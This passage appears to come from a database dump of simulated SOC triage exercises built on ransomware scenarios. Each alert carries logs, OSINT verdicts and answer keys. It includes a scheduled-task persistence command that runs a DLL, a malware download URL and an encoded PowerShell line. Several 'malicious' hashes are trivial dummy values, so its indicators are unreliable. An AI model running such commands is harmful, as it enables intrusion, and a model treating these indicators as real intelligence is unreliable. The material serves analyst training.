14:00\\\",\\\"User\\\":\\\"SYSTEM\\\",\\\"Computer\\\":\\\"compromised-host.local\\\",\\\"IPAddress\\\":\\\"10.0.5.23\\\",\\\"Hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"ExternalAttackerIP\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.606Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4698,\\\"ProviderName\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"LogName\\\":\\\"Security\\\",\\\"RecordID\\\":1184523,\\\"TaskName\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\NoEscape\\\\\\\\DailyCheck\\\",\\\"TaskContent\\\":\\\"schtasks.exe /create /tn \\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\NoEscape\\\\\\\\DailyCheck /tr \\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Documents\\\\\\\\malware.dll,Execute\\\\\\\" /sc daily /st 14:00\\\",\\\"User\\\":\\\"SYSTEM\\\",\\\"Computer\\\":\\\"compromised-host.local\\\",\\\"IPAddress\\\":\\\"10.0.5.23\\\",\\\"Hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"ExternalAttackerIP\\\":\\\"203.0.113.45\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1580, 'SMB Protocol Exploitation', 'critical', 'Network Traffic Analysis', 'Exploiting vulnerabilities in SMB protocols, the NoEscape ransomware moves laterally within the healthcare network, encrypting critical files on multiple systems to maximize impact.', 'Lateral Movement', 'T1021.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:30Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.5.23\",\"protocol\":\"SMB\",\"username\":\"john_doe\",\"file_accessed\":\"\\\\\\\\10.0.5.23\\\\shared\\\\critical_patient_records.xlsx\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"file_encryption_attempt\",\"alert_id\":\"ALERT-20231015-0001\"}', '2026-03-15 19:15:50', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntel\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with NoEscape ransomware activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the healthcare network.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with NoEscape ransomware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1581, 'Data Exfiltration Detected', 'critical', 'Data Loss Prevention (DLP) Alerts', 'In the final stage of the operation, NoEscape has successfully exfiltrated sensitive patient records to their command and control servers. These records are intended for ransom demands.', 'Exfiltration', 'T1041: Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"user\":\"jdoe\",\"exfiltrated_files\":[\"patient_records_2023.zip\",\"confidential_data.csv\"],\"file_hashes\":[\"3a5d5c89f8e345c6b29c2e8d7e0f9d3e\",\"b1d2a5c9e6a3b5f8d9c2a7e8d5f2b4c3\"],\"c2_domain\":\"maliciousserver.com\",\"alert_id\":\"DLP-EXFIL-005\"}', '2026-03-15 19:15:50', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server involved in ransomware activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3a5d5c89f8e345c6b29c2e8d7e0f9d3e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with exfiltrated patient records.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1d2a5c9e6a3b5f8d9c2a7e8d5f2b4c3\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with exfiltrated confidential data.\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"maliciousserver.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"DomainTools\",\"verdict\":\"malicious\",\"details\":\"Domain used for command and control operations.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.612Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"patient_records_2023.zip\\\",\\\"confidential_data.csv\\\"],\\\"file_hashes\\\":[\\\"3a5d5c89f8e345c6b29c2e8d7e0f9d3e\\\",\\\"b1d2a5c9e6a3b5f8d9c2a7e8d5f2b4c3\\\"],\\\"c2_domain\\\":\\\"maliciousserver.com\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-005\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.612Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"patient_records_2023.zip\\\",\\\"confidential_data.csv\\\"],\\\"file_hashes\\\":[\\\"3a5d5c89f8e345c6b29c2e8d7e0f9d3e\\\",\\\"b1d2a5c9e6a3b5f8d9c2a7e8d5f2b4c3\\\"],\\\"c2_domain\\\":\\\"maliciousserver.com\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-005\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.612Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"patient_records_2023.zip\\\",\\\"confidential_data.csv\\\"],\\\"file_hashes\\\":[\\\"3a5d5c89f8e345c6b29c2e8d7e0f9d3e\\\",\\\"b1d2a5c9e6a3b5f8d9c2a7e8d5f2b4c3\\\"],\\\"c2_domain\\\":\\\"maliciousserver.com\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-005\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.612Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"patient_records_2023.zip\\\",\\\"confidential_data.csv\\\"],\\\"file_hashes\\\":[\\\"3a5d5c89f8e345c6b29c2e8d7e0f9d3e\\\",\\\"b1d2a5c9e6a3b5f8d9c2a7e8d5f2b4c3\\\"],\\\"c2_domain\\\":\\\"maliciousserver.com\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-005\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.612Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"patient_records_2023.zip\\\",\\\"confidential_data.csv\\\"],\\\"file_hashes\\\":[\\\"3a5d5c89f8e345c6b29c2e8d7e0f9d3e\\\",\\\"b1d2a5c9e6a3b5f8d9c2a7e8d5f2b4c3\\\"],\\\"c2_domain\\\":\\\"maliciousserver.com\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-005\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1582, 'Suspicious Download from Known Malicious Domain', 'medium', 'Network Traffic Analysis', 'A user was tricked into downloading a file from a known malicious domain associated with Ragnar Locker. This file is suspected to be the initial access point for further infiltration.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:35:00Z\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"203.0.113.45\",\"destination_domain\":\"malicious-downloads.com\",\"filename\":\"invoice_update.exe\",\"file_hash\":\"3f4f7b1c2d5e2b9b0c6f8b3a1e4d5f3c\",\"user\":\"jdoe\",\"url\":\"http://malicious-downloads.com/invoice_update.exe\"}', '2026-03-15 19:16:11', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the user who initiated the download.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"public_blacklist\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"malicious-downloads.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Domain known for hosting malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"invoice_update.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in phishing and malware distribution.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3f4f7b1c2d5e2b9b0c6f8b3a1e4d5f3c\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"File hash matches known malware sample.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1583, 'Execution of Virtual Machine with Malicious Intent', 'high', 'Endpoint Detection and Response (EDR)', 'The downloaded file executed a virtual machine, hiding the ransomware execution from standard security solutions. The activity was detected by the EDR as an anomaly due to the launch of a non-standard virtual machine with suspicious network behavior.', 'Execution', 'T1059.006', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T13:45:30Z\",\"event_id\":\"EVT-20231015-0002\",\"source\":\"EDR\",\"event_type\":\"execution\",\"host_ip\":\"192.168.1.45\",\"host_name\":\"DESKTOP-1234XYZ\",\"process_name\":\"vmware.exe\",\"process_id\":4321,\"username\":\"john_doe\",\"file_path\":\"C:\\\\Users\\\\john_doe\\\\Downloads\\\\malicious_vm.vmx\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"external_ip\":\"203.0.113.45\",\"network_activity\":{\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\"},\"suspicious_behavior\":\"Execution of a virtual machine with a known malicious hash\"}', '2026-03-15 19:16:11', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hash Lookup Service\",\"verdict\":\"malicious\",\"details\":\"Hash associated with ransomware files\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_vm.vmx\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Filename associated with malicious virtual machine configurations\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1584, 'Establishing Persistence via VM Configuration', 'high', 'Configuration Monitoring', 'Ragnar Locker configures the virtual machine to automatically start, ensuring the ransomware maintains a foothold in the system. This involves modifying the VM\'s startup settings to execute the ransomware upon boot.', 'Persistence', 'T1050 - New Service', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:45:37Z\",\"event_id\":\"CONFIG_CHANGE_101\",\"vm_name\":\"Compromised_VM_01\",\"user\":\"admin_user\",\"internal_ip\":\"192.168.1.15\",\"external_ip\":\"203.0.113.45\",\"config_changes\":{\"auto_start\":true,\"startup_script\":\"/usr/local/bin/ragnar_locker_startup.sh\"},\"malware_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"detected_by\":\"VM Configuration Monitor\"}', '2026-03-15 19:16:11', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised VM\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Ragnar Locker\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Systems\",\"verdict\":\"clean\",\"details\":\"Legitimate admin user\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Ragnar Locker ransomware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.624Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:37Z\\\",\\\"event_id\\\":\\\"CONFIG_CHANGE_101\\\",\\\"vm_name\\\":\\\"Compromised_VM_01\\\",\\\"user\\\":\\\"admin_user\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"config_changes\\\":{\\\"auto_start\\\":true,\\\"startup_script\\\":\\\"/usr/local/bin/ragnar_locker_startup.sh\\\"},\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"detected_by\\\":\\\"VM Configuration Monitor\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.624Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:37Z\\\",\\\"event_id\\\":\\\"CONFIG_CHANGE_101\\\",\\\"vm_name\\\":\\\"Compromised_VM_01\\\",\\\"user\\\":\\\"admin_user\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"config_changes\\\":{\\\"auto_start\\\":true,\\\"startup_script\\\":\\\"/usr/local/bin/ragnar_locker_startup.sh\\\"},\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"detected_by\\\":\\\"VM Configuration Monitor\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.624Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:37Z\\\",\\\"event_id\\\":\\\"CONFIG_CHANGE_101\\\",\\\"vm_name\\\":\\\"Compromised_VM_01\\\",\\\"user\\\":\\\"admin_user\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"config_changes\\\":{\\\"auto_start\\\":true,\\\"startup_script\\\":\\\"/usr/local/bin/ragnar_locker_startup.sh\\\"},\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"detected_by\\\":\\\"VM Configuration Monitor\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.624Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:37Z\\\",\\\"event_id\\\":\\\"CONFIG_CHANGE_101\\\",\\\"vm_name\\\":\\\"Compromised_VM_01\\\",\\\"user\\\":\\\"admin_user\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"config_changes\\\":{\\\"auto_start\\\":true,\\\"startup_script\\\":\\\"/usr/local/bin/ragnar_locker_startup.sh\\\"},\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"detected_by\\\":\\\"VM Configuration Monitor\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.624Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:37Z\\\",\\\"event_id\\\":\\\"CONFIG_CHANGE_101\\\",\\\"vm_name\\\":\\\"Compromised_VM_01\\\",\\\"user\\\":\\\"admin_user\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"config_changes\\\":{\\\"auto_start\\\":true,\\\"startup_script\\\":\\\"/usr/local/bin/ragnar_locker_startup.sh\\\"},\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"detected_by\\\":\\\"VM Configuration Monitor\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1585, 'Lateral Movement within the Gaming Network', 'high', 'Internal Network Monitoring', 'Using the virtual machine as a base, Ragnar Locker moves laterally to infect core gaming servers, threatening the entire infrastructure.', 'Lateral Movement', 'T1570', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:11Z\",\"event_id\":\"4625\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"10.0.0.8\",\"username\":\"gameadmin\",\"process_name\":\"svchost.exe\",\"file_hash\":\"3c6e0b8a9c15224a8228b9a98ca1531d\",\"filename\":\"RagnarLocker.exe\",\"network_protocol\":\"SMB\",\"action\":\"Remote File Execution\"}', '2026-03-15 19:16:11', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local internal IP address used for lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.8\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Critical gaming server targeted for ransomware infection.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3c6e0b8a9c15224a8228b9a98ca1531d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Ragnar Locker ransomware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"RagnarLocker.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Executable file used for ransomware deployment.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"gameadmin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Administrative user account used for unauthorized access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1586, 'Data Exfiltration through Encrypted Channels', 'high', 'Data Loss Prevention (DLP)', 'Before launching a full-scale encryption attack, Ragnar Locker exfiltrates valuable data through encrypted channels, ensuring a dual impact by transmitting confidential gaming data. This step involves the transfer of sensitive files from the internal network to an external malicious server.', 'Exfiltration', 'T1048.003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_type\":\"file_transfer\",\"src_ip\":\"10.0.0.15\",\"dest_ip\":\"203.0.113.45\",\"file_name\":\"confidential_gaming_data.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"jdoe\",\"protocol\":\"TLS\",\"data_volume\":\"500MB\",\"action\":\"allowed\",\"signature_id\":\"DLP-EXFIL-001\",\"description\":\"Suspicious file transfer detected via encrypted channel.\"}', '2026-03-15 19:16:11', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with the source of the file transfer.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external_network\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with Ragnar Locker APT.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_gaming_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"Sensitive data file being exfiltrated.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known exfiltration activities.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_directory\",\"verdict\":\"internal\",\"details\":\"Username of the individual involved in the transfer.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.629Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event 